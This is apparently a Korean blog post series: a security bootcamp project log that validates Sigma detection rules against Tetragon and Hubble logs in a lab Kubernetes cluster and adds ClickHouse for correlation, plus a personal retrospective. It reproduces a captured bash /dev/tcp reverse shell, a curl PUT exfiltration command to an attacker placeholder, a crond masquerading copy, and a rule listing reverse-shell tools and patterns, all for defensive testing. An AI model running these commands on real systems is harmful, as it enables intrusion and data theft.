            <link>https://velog.io/@_sychoii/%ED%86%A0%EC%8A%A4%EB%B1%85%ED%81%AC-%EC%82%AC%EC%9D%B4%EB%B2%84%EB%B3%B4%EC%95%88-%EC%97%94%EC%A7%80%EB%8B%88%EC%96%B4-%EB%B6%80%ED%8A%B8%EC%BA%A0%ED%94%84-%ED%94%84%EB%A1%9C%EC%A0%9D%ED%8A%B8-%EC%88%98%ED%96%89%EC%9D%BC%EC%A7%80-Week-6</link>
            <guid>https://velog.io/@_sychoii/%ED%86%A0%EC%8A%A4%EB%B1%85%ED%81%AC-%EC%82%AC%EC%9D%B4%EB%B2%84%EB%B3%B4%EC%95%88-%EC%97%94%EC%A7%80%EB%8B%88%EC%96%B4-%EB%B6%80%ED%8A%B8%EC%BA%A0%ED%94%84-%ED%94%84%EB%A1%9C%EC%A0%9D%ED%8A%B8-%EC%88%98%ED%96%89%EC%9D%BC%EC%A7%80-Week-6</guid>
            <pubDate>Sun, 25 Jan 2026 07:45:29 GMT</pubDate>
            <description><![CDATA[<p><img src="https://velog.velcdn.com/images/_sychoii/post/ec532a91-afb4-4b71-8385-2a2372df9749/image.png" alt=""></p>
<p>이번 6주차에는 지난 주 탐지 고도화를 위해 도입했던 Sigma Rule 수정 검토 및 검증과 본 프로젝트에서 상관분석을 고도화 하기 위해 <strong>ClickHouse</strong>를 도입했습니다.</p>
<hr>
<h2 id="sigma-rule-검증">Sigma Rule 검증</h2>
<p><strong>Sigma Rule</strong>의 공격 행위 탐지 여부를 확인함과 동시에 발생하는 여러 노이즈들에 대한 <strong>Alert</strong>를 파악하여 오탐을 줄이는 것에 초점을 두었습니다. 런타임 환경에서 <strong>Tetragon</strong>의 탐지 이벤트 로그를 <strong>Sigma Rule</strong> 적용을 위해 정규화하고 설계한 공격 시나리오를 통해 검증을 진행했습니다. <strong>Hubble</strong> 가시성 정책에 의해 탐지된 네트워크 이벤트도 같은 방식으로 검증을 진행했습니다.</p>
<h3 id="system-rule">System Rule</h3>
<p>Sigma Rule 검증 과정을 예시를 통해 설명하겠습니다.</p>
<h4 id="ex-masquerading-as-linux-crond-process">ex. Masquerading as Linux Crond Process</h4>
<pre><code class="language-yaml">id: u-AF3psBVI_0cR5Ed8gE
logsource:
  product: tl-test
title: Masquerading as Linux Crond Process
description: |
  쉘 바이너리를 crond 이름으로 위장하여 복사하는 행위를 탐지합니다.
tags:
  - attack.defense_evasion
  - attack.t1036.003
falsepositives: []
level: medium
status: test
references:
  - &gt;-
    https://github.com/redcanaryco/atomic-red-team/blob/8a82e9b66a5b4f4bc5b91089e9f24e0544f20ad7/atomics/T1036.003/T1036.003.md#atomic-test-2---masquerading-as-linux-crond-process
author: Timur Zinniatullin, oscd.community
detection:
  selection_cp:
    event.process.executable|endswith: /cp
  selection_src:
    event.process.arguments|contains: /bin/sh
  selection_dst:
    event.process.arguments|endswith: /crond
  condition: selection_cp and selection_src and selection_dst</code></pre>
<p>해당 rule은 Shell 바이너리를 crond 이름으로 위장하여 복사하는 행위를 탐지하는 것입니다. 따라서 <code>/bin/sh</code>를 <code>/tmp/crond</code>로 복사하는 행위를 통해 이를 검증했습니다.</p>
<p><img src="https://velog.velcdn.com/images/_sychoii/post/b1aef33d-85ad-4886-a8a2-835e5fdea0d0/image.png" alt=""></p>
<pre><code class="language-bash">cp /bin/sh /tmp/crond</code></pre>
<ul>
<li><p>Alert 확인
<img src="https://velog.velcdn.com/images/_sychoii/post/edf5c85d-e4df-4114-8e1d-10e2692ce21a/image.png" alt=""></p>
</li>
<li><p>탐지된 Tetragon 로그
정규화를 통해 생성한 event 필드를 보겠습니다.</p>
<pre><code class="language-json">&quot;event&quot;: {
  &quot;kubernetes&quot;: {
    &quot;namespace&quot;: &quot;service-server&quot;,
    &quot;pod_name&quot;: &quot;net-debug-pod&quot;
  },
  &quot;process&quot;: {
    &quot;uid&quot;: 0,
    &quot;parent_executable&quot;: &quot;/usr/bin/bash&quot;,
    &quot;arguments&quot;: &quot;/bin/sh /tmp/crond&quot;,
    &quot;pid&quot;: 10172,
    &quot;parent_arguments&quot;: &quot;-i&quot;,
    &quot;executable&quot;: &quot;/usr/bin/cp&quot;
  }</code></pre>
<p><code>event.process.executable</code> 필드의 끝 값이 <code>/cp</code> 이고, <code>event.process.arguments</code>가 <code>/bin/sh</code>이면서 <code>/crond</code>로 끝나는 경우 탐지가 되도록 설계 했습니다. 모든 조건을 만족하기 때문에 탐지가 됐음을 확인했습니다.</p>
</li>
</ul>
<h4 id="ex-suspicious-react-server-child-process">ex. Suspicious React Server Child Process</h4>
<p>react2shell 취약점에 대한 Detection Rule이 Elastic Search 공식 문서에 등재된 것을 확인했습니다. 본 프로젝트에서 모의 공격 시나리오 중 초기 침투 과정에서 react2shell 공격을 활용하고 있기 때문에 추가 검증 후 도입했습니다.</p>
<pre><code class="language-yaml">id: &#39;&#39;
logsource:
  product: tl
title: Suspicious  React Server Child Process
description: React2Shell
tags:
  - attack.execution
  - attack.t1059.004
  - attack.persistence
falsepositives:
  - Administrative debugging (kubectl exec)
  - Build scripts (npm install) running in non-production environments
level: high
status: experimental
references:
  - https://github.com/tetratelabs/tetragon
  - https://attack.mitre.org/techniques/T1059/004/
  - https://www.elastic.co/guide/en/security/current/suspicious-react-server-child-process.html
author: ForenSeek
detection:
  condition: &gt;-
    (selection_child_tools or selection_script_payloads) and
    selection_parent_name and selection_parent_args and not 1 of filter_*
  selection_child_tools:
    event.process.executable|endswith:
      - /sh
      - /bash
      - /zsh
      - /dash
      - /curl
      - /wget
      - /id
      - /whoami
      - /uname
      - /cat
      - /nc
      - /ncat
      - /netcat
      - /socat
      - /busybox
      - /mkfifo
      - /nohup
      - /setsid
      - /xterm
      - /java
  selection_script_payloads:
    - event.process.executable|contains: python
    - event.process.arguments|contains:
        - import*pty*spawn
        - import*subprocess*call
    - event.process.executable|contains: node
    - event.process.arguments|contains:
        - spawn*sh
        - connect
    - event.process.executable|contains: perl
    - event.process.arguments|contains: socket
    - event.process.arguments|contains: exec
    - event.process.executable|contains: ruby
    - event.process.arguments|contains:
        - &#39;-rsocket&#39;
        - TCPSocket.new
        - TCPSocket.open
    - event.process.executable|contains: php
    - event.process.arguments|contains: fsockopen
    - event.process.arguments|contains: /bin/sh
    - event.process.executable|contains:
        - awk
        - gawk
        - mawk
        - nawk
    - event.process.arguments|contains: /inet/tcp/
    - event.process.executable|contains:
        - vim
        - rvim
        - vimdiff
        - rview
        - view
    - event.process.arguments|contains: socket
    - event.process.executable|contains: lua
    - event.process.arguments|contains:
        - socket.tcp
        - io.popen
        - os.execute
  selection_parent_name:
    event.process.parent_name|contains:
      - node
      - bun
      - node.exe
      - bun.exe
      - react
  selection_parent_args:
    event.process.parent_arguments|contains:
      - react-dom
      - .next
      - node_modules/next
      - react-server
      - next-server
      - server.js
      - start-server.js
      - bin/next
      - &#39;--experimental-https&#39;
      - app/server
      - .pnpm/next
      - next start
      - next dev
      - react-scripts start
      - next/dist/server
  filter_parent_exe:
    event.process.parent_executable:
      - ./runc
      - /opt/google/chrome/chrome
  filter_git_config:
    - event.process.arguments|contains: git config</code></pre>
<p>react2shell 취약점을 이용한 공격 스크립트를 활용하여 reverse shell을 이용한 침투를 진행했습니다.</p>
<p><img src="https://velog.velcdn.com/images/_sychoii/post/63d23fa1-502f-46f7-91d9-5c6641247cf2/image.png" alt=""></p>
<ul>
<li>탐지된 Tetragon 로그<pre><code>&quot;event&quot;: {
  &quot;kubernetes&quot;: {
    &quot;container_name&quot;: &quot;app&quot;,
    &quot;namespace&quot;: &quot;public-service&quot;,
    &quot;container_id&quot;: &quot;containerd://142d8259f20f1f723d00fcd4ecda58fb6f9d13a80249884dcc585468850cc287&quot;,
    &quot;pod_name&quot;: &quot;web-service-548d6dcdf6-ddgfm&quot;
  },
  &quot;process&quot;: {
    &quot;parent_name&quot;: &quot;docker.io/library/react2shell-vuln:latest&quot;,
    &quot;uid&quot;: 0,
    &quot;parent_executable&quot;: &quot;/usr/local/bin/node&quot;,
    &quot;arguments&quot;: &quot;-c \&quot;bash -c &#39;bash -i &gt;&amp; /dev/tcp/192.168.24.164/5555 0&gt;&amp;1 &amp;&#39;\&quot;&quot;,
    &quot;pid&quot;: 151407,
    &quot;parent_arguments&quot;: &quot;/app/node_modules/.bin/next start -p 3443&quot;,
    &quot;executable&quot;: &quot;/bin/sh&quot;
  },
  &quot;policy&quot;: {
    &quot;function&quot;: null,
    &quot;arg&quot;: null,
    &quot;name&quot;: null,
    &quot;action&quot;: null
  }
}</code></pre></li>
</ul>
<p><code>event.process.executable</code>이 <code>/sh</code>로 끝나기 때문에 Sigma Rule에서 detection 부분 중 하나인 <code>selection_script_payloads</code>은 확인하지 않고 넘어갑니다. <code>event.process.parent_name</code>에 <code>react</code>를 가지고 있으며 <code>event.process.parent_arguments</code>에 <code>bin/next</code>를 포함하고 있습니다. 하지만 filter에 해당한 부분을 전부 가지고 있지 않기 때문에 위 공격이 탐지될 수 있었습니다.</p>
<h3 id="network-rule">Network Rule</h3>
<p>Sigma Rule 검증 과정을 예시를 통해 설명하겠습니다.</p>
<h4 id="webdav-put-request">WebDav Put Request</h4>
<pre><code class="language-yaml">id: 546I2psBaBInorBYN92S
logsource:
  product: hl
title: WebDav Put Request
description: &gt;-
  WebDAV 네트워크 공유에 파일을 PUT(업로드)하기 위해 WebDAV User-Agent가 사용되는 것을 탐지합니다. 이는 외부로의 데이터 유출(Exfiltration) 지표일 수 있습니다.
tags:
  - attack.exfiltration
  - attack.t1048.003
falsepositives:
  - Unknown
level: low
status: test
references:
  - https://github.com/OTRF/detection-hackathon-apt29/issues/17
author: &gt;-
  Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research), Modified for
  Hubble
detection:
  selection:
    flow.l7.http.headers.value|contains: WebDAV
    event.l7.http_method: PUT
  filter:
    event.network.dest_ip|cidr:
      - 10.0.0.0/8
      - 127.0.0.0/8
      - 172.16.0.0/12
      - 192.168.0.0/16
      - 169.254.0.0/16
  condition: selection and not filter</code></pre>
<p>Hubble 검증을 위해 Tetragon과 마찬가지로 리버스 쉘에서 공격을 진행하였습니다.</p>
<p><img src="https://velog.velcdn.com/images/_sychoii/post/4039b538-50f5-4176-9adf-03bb427eb2ed/image.png" alt=""></p>
<pre><code class="language-bash">curl -X PUT -H &quot;User-Agent: Microsoft-WebDAV-MiniRedir/10.0.19041&quot; -d &quot;Exfiltration Test Data&quot; http://&lt;공격자_IP주소&gt;/test_data.txt</code></pre>
<p><img src="https://velog.velcdn.com/images/_sychoii/post/6fc5a48e-feed-4a47-81b0-a313b32fcb8f/image.png" alt=""></p>
<ul>
<li>Hubble 가시성 정책에 의해 탐지된 로그<pre><code class="language-json">{
&quot;fluentd_tag&quot;: &quot;kubernetes.hubble&quot;,
&quot;node_name&quot;: &quot;kubernetes/k8s-worker&quot;,
&quot;cilium_container_id&quot;: null,
&quot;@timestamp&quot;: &quot;2026-01-22T09:19:37.330365291+00:00&quot;,
&quot;cilium_pod&quot;: null,
&quot;cilium_namespace&quot;: null,
&quot;event&quot;: {
  &quot;kubernetes&quot;: {
    &quot;namespace&quot;: null,
    &quot;container_id&quot;: null,
    &quot;pod_name&quot;: null
  },
  &quot;l7&quot;: {
    &quot;summary&quot;: &quot;HTTP/1.1 PUT http://172.30.160.1/test_data.txt&quot;,
    &quot;http_method&quot;: &quot;PUT&quot;,
    &quot;dns_query&quot;: null,
    &quot;http_status&quot;: null,
    &quot;type&quot;: &quot;REQUEST&quot;,
    &quot;http_url&quot;: &quot;http://172.30.160.1/test_data.txt&quot;
  },
  &quot;network&quot;: {
    &quot;protocol&quot;: &quot;TCP&quot;,
    &quot;dest_ip&quot;: &quot;172.30.160.1&quot;,
    &quot;action&quot;: &quot;FORWARDED&quot;,
    &quot;dest_port&quot;: 80,
    &quot;source_ip&quot;: &quot;10.244.1.161&quot;
  }
},
&quot;flow&quot;: {
  &quot;IP&quot;: {
    &quot;destination&quot;: &quot;172.30.160.1&quot;,
    &quot;ipVersion&quot;: &quot;IPv4&quot;,
    &quot;source&quot;: &quot;10.244.1.161&quot;
  },
  &quot;l4&quot;: {
    &quot;TCP&quot;: {
      &quot;destination_port&quot;: 80,
      &quot;source_port&quot;: 56984
    }
  },
  &quot;destination&quot;: {
    &quot;identity&quot;: 2,
    &quot;labels&quot;: [
      &quot;reserved:world&quot;
    ]
  },
  &quot;node_name&quot;: &quot;kubernetes/k8s-worker&quot;,
  &quot;source&quot;: {
    &quot;namespace&quot;: &quot;service-server&quot;,
    &quot;cluster_name&quot;: &quot;kubernetes&quot;,
    &quot;ID&quot;: 3735,
    &quot;identity&quot;: 32784,
    &quot;labels&quot;: [
      &quot;k8s:app=net-debug&quot;,
      &quot;k8s:io.cilium.k8s.namespace.labels.kubernetes.io/metadata.name=service-server&quot;,
      &quot;k8s:io.cilium.k8s.policy.cluster=kubernetes&quot;,
      &quot;k8s:io.cilium.k8s.policy.serviceaccount=default&quot;,
      &quot;k8s:io.kubernetes.pod.namespace=service-server&quot;
    ],
    &quot;pod_name&quot;: &quot;net-debug-pod&quot;
  },
  &quot;l7&quot;: {
    &quot;type&quot;: &quot;REQUEST&quot;,
    &quot;http&quot;: {
      &quot;headers&quot;: [
        {
          &quot;value&quot;: &quot;http&quot;,
          &quot;key&quot;: &quot;:scheme&quot;
        },
        {
          &quot;value&quot;: &quot;*/*&quot;,
          &quot;key&quot;: &quot;Accept&quot;
        },
        {
          &quot;value&quot;: &quot;22&quot;,
          &quot;key&quot;: &quot;Content-Length&quot;
        },
        {
          &quot;value&quot;: &quot;application/x-www-form-urlencoded&quot;,
          &quot;key&quot;: &quot;Content-Type&quot;
        },
        {
          &quot;value&quot;: &quot;Microsoft-WebDAV-MiniRedir/10.0.19041&quot;,
          &quot;key&quot;: &quot;User-Agent&quot;
        },
        {
          &quot;value&quot;: &quot;true&quot;,
          &quot;key&quot;: &quot;X-Envoy-Internal&quot;
        },
        {
          &quot;value&quot;: &quot;3e2d77b9-0c42-4bd6-8afc-5f1d6e041b07&quot;,
          &quot;key&quot;: &quot;X-Request-Id&quot;
        }
      ],
      &quot;protocol&quot;: &quot;HTTP/1.1&quot;,
      &quot;method&quot;: &quot;PUT&quot;,
      &quot;url&quot;: &quot;http://172.30.160.1/test_data.txt&quot;
    }
  },
  &quot;uuid&quot;: &quot;6c48c5cb-33f0-428d-93d7-a11f24522245&quot;,
  &quot;traffic_direction&quot;: &quot;EGRESS&quot;,
  &quot;is_reply&quot;: false,
  &quot;Type&quot;: &quot;L7&quot;,
  &quot;node_labels&quot;: [
    &quot;beta.kubernetes.io/arch=amd64&quot;,
    &quot;beta.kubernetes.io/os=linux&quot;,
    &quot;kubernetes.io/arch=amd64&quot;,
    &quot;kubernetes.io/hostname=k8s-worker&quot;,
    &quot;kubernetes.io/os=linux&quot;
  ],
  &quot;event_type&quot;: {
    &quot;type&quot;: 129
  },
  &quot;verdict&quot;: &quot;FORWARDED&quot;,
  &quot;Summary&quot;: &quot;HTTP/1.1 PUT http://172.30.160.1/test_data.txt&quot;,
  &quot;time&quot;: &quot;2026-01-22T09:19:37.330365291Z&quot;
},
&quot;cilium_endpoint_id&quot;: 3735
}</code></pre>
</li>
</ul>
<p>flow.l7.http.headers.value가 WebDav를 가지고 있어야 하며 event.l7.http_method가 PUT이어야 하는데 event.network.dest_ip가 </p>
<ul>
<li>10.0.0.0/8</li>
<li>127.0.0.0/8</li>
<li>172.16.0.0/12</li>
<li>192.168.0.0/16</li>
<li>169.254.0.0/16</li>
</ul>
<p>아닐 경우 탐지하도록 설계되었으며 이를 다 충족하여 위의 공격이 탐지가 되었습니다.</p>
<hr>
<h2 id="click-house">Click House</h2>
<p>초기 프로젝트 기획 단계에서 로그 수집 및 시각화를 위해 OpenSearch를 검토하였으나, 해당 플랫폼이 제공하는 기능만으로는 프로젝트가 목표로 하는 심층적인 위협 분석을 수행하기에 한계가 있음을 확인하였습니다. <strong>OpenSearch</strong>는 기본적인 검색과 시각화 기능을 충실히 제공하지만, 커스텀 필드를 활용한 복잡한 연산이나 다차원적인 데이터 가공 측면에서는 유연성이 부족하였습니다. 
이에 따라 대용량 로그 데이터를 SQL 쿼리를 통해 자유롭게 가공할 수 있는 <strong>ClickHouse</strong>를 도입하여 분석 프레임워크를 재설계하였습니다. <strong>ClickHouse</strong>는 <strong>Toss</strong>, <strong>Kakao</strong> 등 대규모 트래픽을 처리하는 현업 환경에서도 검증된 <strong>컬럼 기반 DBMS</strong>로서, Tetragon과 Hubble에서 발생하는 방대한 보안 로그를 효율적으로 처리하고 우리가 의도한 시나리오대로 데이터를 정제하는 데 최적의 성능을 보였습니다.</p>
<h3 id="sql-기반-정밀-로그-분석-및-프로세스-계보-시각화">SQL 기반 정밀 로그 분석 및 프로세스 계보 시각화</h3>
<p><strong>ClickHouse</strong> 구축 후 가장 먼저 수행한 작업은 <strong>Pod</strong>별 상세 프로세스 실행 이력과 네트워크 행위를 결합하는 것이었습니다. 단순한 키워드 검색을 넘어, <strong>SQL의 조건절</strong>을 활용하여 특정 파드 내에서 /bin/sh가 실행되거나 내부망 IP로의 비정상적인 접근 시도를 필터링하는 쿼리를 작성하였습니다. 아래 이미지 웹 서비스 파드에서 발생한 쉘 실행 이력을 시간순으로 정렬하여 추출한 결과입니다.</p>
<p><img src="https://velog.velcdn.com/images/_sychoii/post/97befd93-bc7a-417d-b60f-b273ead4dd20/image.png" alt=""></p>
<p>또한, 단일 로그의 나열이 아닌 프로세스의 부모-자식 관계(Parent-Child Relationship)를 추적하여 공격의 전체 흐름을 시각화하는 로직을 구현하였습니다. 공격자가 최초 쉘을 획득한 시점부터 <code>nsenter</code>를 통해 컨테이너 네임스페이스에 진입하고, 이후 파이썬 스크립트를 이용해 DB 무차별 대입(Brute Force) 공격을 수행하거나 <code>curl</code> 명령어로 데이터를 유출하는 일련의 과정을 하나의 쿼리 결과로 도출하였습니다. 이를 통해 개별 로그로는 파악하기 힘든 공격의 인과관계를 명확히 식별할 수 있게 되었습니다.</p>
<p><img src="https://velog.velcdn.com/images/_sychoii/post/6e30deb4-440a-467d-8958-53f690f62157/image.png" alt=""></p>
<h3 id="web-hook을-이용한-자동화-된-위협-분석-파이프라인-구축">Web hook을 이용한 자동화 된 위협 분석 파이프라인 구축</h3>
<p><img src="https://velog.velcdn.com/images/_sychoii/post/bbf26943-2149-43c7-b925-871392cf987b/image.png" alt=""></p>
<p>최종적으로 분석 시스템을 실시간 대응 체계로 확장하기 위해 <strong>Detector의 Alert</strong> 기능과 연동된 자동화 파이프라인을 구축하였습니다. 시스템은 <strong>Sigma Rule</strong>에 정의된 위협 시그니처가 탐지될 경우 <strong>Webhook</strong>을 통해 알림을 전송하며, 이를 수신한 Python 자동화 스크립트가 즉시 트리거되도록 설계되었습니다.
스크립트 실행 시, 앞서 구현한 <strong>ClickHouse</strong> 쿼리가 자동으로 수행되어 해당 위협과 관련된 프로세스 리니지 및 네트워크 통계 정보를 포함한 &#39;보안 컨텍스트 리포트(Security Context Report)&#39;를 생성합니다. 이를 통해 보안 담당자는 별도의 수동 분석 과정 없이도 공격의 전모를 신속하게 파악하고 대응할 수 있습니다.</p>
<h3 id="fluentdclickhouse-연동-및-실시간-탐지-파이프라인-구성">Fluentd–ClickHouse 연동 및 실시간 탐지 파이프라인 구성</h3>
<p>기존 OpenSearch 단일 구조에서는 로그 적재, 탐지, 분석을 동시에 수행하면서 메모리 사용량이 급증하는 문제가 발생했습니다. 이를 분산하기 위해 고속 분석 및 상관분석 전용 엔진으로 ClickHouse를 별도의 EC2 인스턴스로 구성하였습니다. Fluentd의 ConfigMap 및 DaemonSet 설정을 수정하여, 수집된 로그를 OpenSearch와 ClickHouse로 동시에 전송하는 파이프라인을 구성하였으며, ClickHouse에 로그가 실시간으로 적재되도록 하였습니다.</p>
<p>또한 <strong>OpenSearch Security Analytics Detector</strong>에서 Alert가 발생할 경우, 해당 이벤트가 Webhook을 통해 프라이빗 IP 기반으로 <strong>ClickHouse</strong>에 즉시 전달되도록 연동을 구성하였습니다. 이를 통해 <strong>OpenSearch</strong>의 탐지 결과가 <strong>ClickHouse</strong>에서도 실시간으로 반영되어, 후속 분석 및 상관 탐지가 가능하도록 탐지 파이프라인을 확장했습니다.</p>
<h3 id="clickhouse-기반-상관-분석-프레임워크-설계-및-진행-계획">ClickHouse 기반 상관 분석 프레임워크 설계 및 진행 계획</h3>
<p>앞선 단계에서 로그 수집 및 탐지 파이프라인을 분리·구성함에 따라, 단순 이벤트 탐지를 넘어 공격 행위를 단계적으로 재구성할 수 있는 상관분석 체계의 필요성을 확인하였습니다. 특히 사전에 공격 시나리오를 알고 이를 검증하는 방식이 아니라, 공격 여부를 알 수 없는 상황에서 단서를 기반으로 분석을 확장해 나가는 <strong>포렌식 관점의 접근</strong> 방식이 중요하다고 판단했습니다.</p>
<p>이를 위해 <strong>ClickHouse</strong>에 적재된 <strong>Tetragon(프로세스 및 행위 로그)</strong>과 <strong>Hubble(네트워크 플로우 로그)</strong>를 활용하여, 행위 기반 상관분석 쿼리를 사전에 목록화하고 플레이북 형태로 정리할 예정입니다. 해당 상관분석은 특정 공격 시나리오에 종속된 시그니처 방식이 아니라, 실행 빈도 이상, 비정상적인 프로세스 실행 패턴, 신규 네트워크 목적지, 반복적 또는 자동화된 행위 등과 같은 일반화된 단서(seed) 를 기준으로 분석이 확장되도록 설계합니다.</p>
<p><strong>상관분석의 시작점(seed)</strong>은 완전히 무작위로 설정하지 않고, 실제 사고 대응 상황에서 일반적으로 확보 가능한 <strong>제한적인 시간 범위(incident time window)</strong> 를 기준으로 설정할 예정입니다. 이후 baseline 대비 이상 행위를 보이는 프로세스 실행 또는 네트워크 흐름을 초기 단서로 삼아, 동일 Pod 또는 동일 부모 프로세스에서 파생된 행위들을 단계적으로 추적하는 방식으로 분석을 수행합니다.</p>
<p>구체적으로는 다음과 같은 흐름으로 상관분석을 수행할 예정입니다.</p>
<p>먼저 <strong>ClickHouse</strong> 내 <strong>Tetragon</strong> 로그를 대상으로 baseline에 존재하지 않거나 비정상적으로 빈도가 높은 실행 바이너리를 탐색하여 초기 seed를 도출합니다. 이후 해당 seed를 기준으로 프로세스 트리 확장 및 동일 Pod 내 시간 흐름 분석을 수행하여 공격 행위의 전후 맥락을 재구성합니다. 이어서 Hubble 로그를 활용해 동일 시간대에 발생한 네트워크 통신을 상관 분석함으로써, 내부 정찰, Lateral Movement, 외부 통신 여부 등을 단계적으로 확인합니다.</p>
<p>이와 같은 상관분석 과정은 단일 쿼리로 공격을 단정하는 방식이 아니라, 단서 도출 → 가설 수립 → 검증의 반복 구조로 구성됩니다. 각 단계에서 도출된 분석 결과를 바탕으로 다음 상관분석 쿼리를 선택적으로 적용하는 방식으로 진행하며, 이를 통해 공격 시나리오를 사전에 가정하지 않더라도 실제 환경에서 수집된 로그만을 기반으로 공격 흐름을 재구성할 수 있는 분석 프레임워크를 구현하고자 합니다.</p>
]]></description>
        </item>
        <item>
            <title><![CDATA[Toss TIL - Week 18]]></title>
            <link>https://velog.io/@_sychoii/Toss-TIL-Week-18</link>
            <guid>https://velog.io/@_sychoii/Toss-TIL-Week-18</guid>
            <pubDate>Tue, 20 Jan 2026 15:24:54 GMT</pubDate>
            <description><![CDATA[<h2 id="회고">회고</h2>
<p>이번주는 우리 프로젝트의 탐지 고도화 확보를 위해 Open Search에서 제공하는 SIEM 솔루션인 Security Analysis를 활용하여 Rule Based Detection 설계와 Correlation Engine 동작을 위한 로그 정규화 같은 작업이 진행됐다.
목요일에는 개발 직종에서 종사하시는 현업자분의 취업특강, 금요일에는 오전에 토스뱅크 특강, 오후에는 취업지원센터 교육이 잡혀 있었고 금요일 교육 종료 2시간 전부터 강사님과 프로젝트 중간점검을 하는 시간을 가졌다.
프로젝트가 한창인 와중 특강 일정이 있어 조금 부담스러웠던건 사실이지만 유익한 시간이었던거 같다. 18주차에 특강 일정이 잡혀 있었기에 월~수 동안 많은걸 끝내놔야 한다는 생각에 평소보다 더 부지런하게 움직여야겠다는 생각에 더 속도감 있게 프로젝트를 수행을 하는데 화요일이었나 사고가 있었다. 이 이야기는 밑에서 풀어보도록 하겠다.</p>
<blockquote>
<h3 id="프로젝트-진행-내용이-궁금하다면">프로젝트 진행 내용이 궁금하다면?</h3>
<p><a href="https://velog.io/@_sychoii/series/Toss-Team-ForenSeek">프로젝트 수행일지 보기</a>
프로젝트 수행일지 시리즈 링크입니다. 자세한 내용은 위 링크에서 확인 해주시고, 질문 있다면 댓글 달아주세요!</p>
</blockquote>
<hr>
<h2 id="knowledge-based-detection지식-기반-탐지의-신뢰성-확보">Knowledge Based Detection(지식 기반 탐지)의 신뢰성 확보</h2>
<p><img src="https://velog.velcdn.com/images/_sychoii/post/86ed1b1e-e815-400a-91af-3a298e3ff367/image.png" alt=""></p>
<p>우리 프로젝트에서 <strong>&quot;탐지&quot;</strong>는 핵심이다. <strong>Tetragon의 프로세스 계보 추적 기능</strong>을 통해 악성 행위를 커널 레벨에서 탐지하는 <strong>Behavior Based Detection(행위 기반 탐지)</strong>, 평소와 다른 트래픽의 흐름을 탐지하는 <strong>Anomaly Detection(이상 행위 탐지)</strong>, 그리고 사전에 정의 된 규칙에 의해 공격 행위를 탐지하는 <strong>Knowledge Based Detection(지식 기반 탐지)</strong> 이 세 가지가 서로 독립적으로 동작하지만 상호 보완적으로 탐지 결과를 분석한다.
행위 기반 탐지는 이전 TIL에서도 여러 번 언급했듯이 Hubble의 가시성 정책과 Tetragon 정책을 통해 고도화를 시키고, 이상 행위 탐지는 Open Search의 Anomaly Detection을 통해 정상 트래픽을 학습 시켜 동작한다. 근데 지식 기반 탐지는? 우선 <strong>지식 기반 탐지</strong>는 미리 정의된 알려진 <strong>공격 패턴(시그니처) 또는 규칙 데이터베이스</strong>와 네트워크, 시스템 활동을 비교하여 일치하는 경우를 침입으로 간주하고 탐지하는 방식이다.</p>
<p>기본적으로 100% 완벽한 수치는 존재할 수 없기에 한 가지 방식으로 탐지를 하기 보다 탐지 레이어를 쌓아 다중 탐지 프레임워크를 설계했다. 따라서 설계한 프레임워크에 각 컴포넌트는 서로서로 Hole을 메꾸어 주기 때문에 각각의 탐지 방식이 신뢰성을 가져야 한다.
Tetragon을 이용한 행위 기반 탐지와 이상 행위 탐지는 탐지 정책 설계와 정상 트래픽 학습으로 동작하지만 지식 기반 탐지는 사전에 정의 된 규칙 기반으로 동작을 하는 것이기 때문에 규칙에 대한 신뢰성이 절대적으로 필요했다. 그래서 SIEM 관련 된 내용을 찾아보던 중 Sigma Rule에 대해 알게 되었고 표준으로 사용된다는 사실에 우리 프로젝트에 녹이면 좋겠다라는 생각과 동시에 설계에 돌입했다.</p>
<hr>
<h2 id="프로젝트-도중-실전-맛보기">프로젝트 도중 실전 맛보기</h2>
<p>기존에 Open Search 검색 엔진과 대시보드를 로컬 환경에 올려서 활용하다가 시스템 부하 때문에 프로젝트 수행 환경이 멈추는 현상이 빈번하게 발생해서 AWS Ec2에 오픈서치를 올리게 됐다. 근데.. 다음날 와서 확인 해보니 허블 로그가 5천만개가 쌓여 있고 몇 분? 안지나서 1억개가 쌓여 있던거다. 진짜 1억이라는 수치를 처음 봐서 당황스러웠다. 처음 올려놨을 때 퍼블릭으로 올려놔서 밤 사이에 공격 당했나..? 싶어서 로그를 하나씩 까보기 시작했다.</p>
<p>처음 로그를 한 두개 까봤을 때 우리가 설계 해놓은 정상 트래픽은 거르고 보는데 포트 스캔 공격과 같은 흔적들도 보이고 우리 대역이 아닌 내부망 IP가 보였다. 점점 불안해졌다. 보안한다는 사람들이 .. 진짜 공격인가..? 로그만 뜯어보다가 하루가 다 갔고 임시로 접근 제어를 빡빡하게 해놓고 집에 갔다.
근데 다음날 왔는데 또 6천만개 가량의 로그가 쏟아져 있었다.</p>
<p><img src="https://velog.velcdn.com/images/_sychoii/post/f56ca5cd-366e-44d1-9666-e89421d35ee1/image.png" alt=""></p>
<p>또 로그를 뜯어보고 위 사진과 같이 그래프, 우리 프로젝트 환경 로그를 종합적으로 분석 해보니 오픈서치와 Fluentd 간 성능 차이로 발생한 이슈였다.
Fluentd가 Open Search로 로그를 보내는데 Fluentd가 보내는 속도에 맞춰 Open Search가 처리하지 못해 로그가 끊겼다가 한번에 처리되면서 로그가 폭증했던 것이다. 그래서 Open Search가 로그를 문제없이 처리 시키기 위해 서버 스펙을 올리고, Fluentd 스펙을 조정했다. 그랬더니 다행히 다음날부터는 정상적으로 로그가 균등하게 쌓이는 것을 확인할 수 있었다.
뜻밖에 찾아온 이런 이슈 덕분에(?) 우리가 프로젝트에서 분석하던 것들을 실전적으로 활용할 수 있어 나름 괜찮은 경험이었던거 같다. 1억개 찍혔을 때 스크린샷 찍어 놨어야 됐는데 수습하느라 정신 없어서 ㅋㅋㅋㅋㅋㅋ 아쉽다.. 암튼 정말 긴장감 넘치는 이틀을 보냈다.</p>
<hr>
<h2 id="성찰">성찰</h2>
<p>프로젝트를 하루하루 수행하고 집에 가는 길, 작업 끝내고 자려고 누웠을 때 요즘 부쩍 팀원들에게 나는 어떤 팀장일까라는게 궁금해졌다. 사실 내가 잘하고 있나?부터 출발해서 좋은 팀장은 무엇일까?라는 생각을 항상 했던거 같다. 특히 요즘 프로젝트 마무리 단계를 밟고 있어 그런 생각을 하는 빈도가 잦아진거 같다.</p>
<p>모두를 만족할 수 없다는건 너무나도 잘 알고 있어 어떤 순간에 악역이 필요하다면 악역이 될 미움 받을 용기 또한 지니고 있어야 한다고 생각한다. 마음이 안좋아도 싫은 소리도 할줄 알아야 하고 책임감, 결단력 등 &quot;팀장&quot;이라는 역할이 주는 부담감은 큰거 같다.</p>
